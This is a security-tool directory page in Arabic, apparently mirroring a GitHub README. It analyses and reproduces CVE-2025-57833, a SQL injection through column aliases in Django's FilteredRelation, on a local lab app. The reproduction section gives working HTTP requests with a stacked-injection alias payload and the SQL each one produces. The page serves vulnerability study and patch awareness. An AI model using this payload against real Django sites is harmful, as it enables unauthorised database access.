Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-57833 — تحليل واستنساخ CVE-2025-57833 | Kitploit
أدوات/GitHubGitHub/sw0rd1ight/cve-2025-57833
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويبالتعلم والتعليمأمن قواعد البيانات
GitHubsw0rd1ight/cve-2025-57833

CVE-2025-57833

تحليل واستنساخ CVE-2025-57833

عرض المستودع
6منذ 8 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Django FilteredRelation Alias ثغرة حقن SQL (CVE-2025-57833)

ثغرة حقن SQL ظهرت في Django بعد مرور عام تقريبًا، وبالنظرة الأولى تبدو وكأنها حقن ناتج عن الأسماء المستعارة (لأن الأسماء المستعارة لا يمكن تجميعها مسبقًا).

تؤثر هذه الثغرة على ميزة FilteredRelation في إطار عمل Django، فعند استخدام طريقتي QuerySet.annotate() أو QuerySet.alias() وتوفير اسم مستعار للعمود من خلال توسيع القاموس في بايثون (**kwargs)، توجد مخاطرة حقن SQL. ويعود السبب إلى عدم التحقق الكافي من مفاتيح القاموس (أي الأسماء المستعارة للأعمدة)، مما يتيح للمهاجم إنشاء قاموس خبيث لحقن عبارات SQL غير مقيدة.

نطاق تأثير هذه الثغرة:

  • الإصدارات قبل 4.2.24 من Django 4.2
  • الإصدارات قبل 5.1.12 من Django 5.1
  • الإصدارات قبل 5.2.6 من Django 5.2

تشغيل البيئة

يستخدم مشروع هذه الثغرة حاوية devcontainer الخاصة بـ VS Code للبناء.

1️⃣ افتح المشروع

افتح المجلد الجذر للمشروع الموجود مسبقًا (الذي يحتوي على مجلد .devcontainer) باستخدام VS Code.

2️⃣ أعد فتح الحاوية (بناء Dev Container)

اضغط Ctrl+Shift+P (في Windows/Linux) أو Cmd+Shift+P (في Mac).

أدخل Remote-Containers: Reopen in Container.

سيقرأ VS Code إعدادات .devcontainer ويبني الحاوية (قد يستغرق البناء الأول بضع دقائق).

⚠️ إذا تم تحديث Dockerfile أو التبعيات، يمكنك اختيار Remote-Containers: Rebuild Container لضمان استخدام أحدث بيئة.

3️⃣ شغّل خادم تطوير Django

افتح لوحة الأوامر Ctrl+Shift+P.

أدخل Tasks: Run Task.

اختر django:start (تم تكوين المهمة في .vscode/tasks.json).

ستقوم هذه المهمة بتشغيل خادم تطوير Django داخل الحاوية.

يستمع افتراضيًا على 0.0.0.0:8085.

4️⃣ افتح المتصفح للوصول إلى المشروع

افتح المتصفح وقم بزيارة:

http://localhost:8085

5️⃣ ملاحظات

أول تشغيل:

قد تحتاج إلى تنفيذ ترحيل قاعدة البيانات:

root@kitploit:~
python manage.py migrate

بعد بدء تشغيل الخادم، قم بزيارة http://localhost:8085.

إعادة إنتاج الثغرة

قم بالوصول إلى واجهة /book/search بالطريقة العادية:

root@kitploit:~
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json

{"alias":"XXX","author":"Bob"}

في هذه المرحلة، تكون جملة SQL التي يجمّعها ORM الخاص بـ Django داخليًا هي:

root@kitploit:~
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" INNER JOIN "vuln_author" XXX ON ("vuln_book"."author_id" = XXX."id" AND (XXX."name" = Bob)) WHERE XXX."id" > 0

يمكن ملاحظة أنه تم إنشاء اسم مستعار XXX لجدول vuln_author، وبناءً على تحليل التصحيح المذكور أعلاه، يتضح أنه لا تتم حاليًا تصفية XXX، لذا يمكننا حقنه.

إن استخدام حقن التراص (stacked injection) مباشرةً لن يؤدي إلى تنفيذ جملة SQL الثانية لأن الجملة الأولى غير صالحة:

root@kitploit:~
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json

{"alias":"XXX;select user --","author":"Bob"}

لذا نحتاج أولاً إلى جعل الجملة الأولى صالحة، وبما أنها علاقة ربط (join)، نستخدم مباشرةً صيغة using:

root@kitploit:~
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json

{"alias":" using(id);select user --","author":"Bob"}

وهكذا نجح الحقن، وتم العثور على أن مستخدم تنفيذ قاعدة البيانات هو postgres، وفي هذه المرحلة تكون جملة SQL التي تم تجميعها بنجاح داخليًا هي:

root@kitploit:~
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" INNER JOIN "vuln_author"  using(id);select user -- ON ("vuln_book"."author_id" =  using(id);select user --."id" AND ( using(id);select user --."name" = Bob)) WHERE  using(id);select user --."id" > 0

المراجع

  • https://xz.aliyun.com/news/19236
  • https://mp.weixin.qq.com/s/e2FgAk2odugNH9K8_kDsAg
  • https://nvd.nist.gov/vuln/detail/CVE-2025-57833
  • https://docs.djangoproject.com/en/dev/releases/security
  • https://groups.google.com/g/django-announce
تنزيل الأداة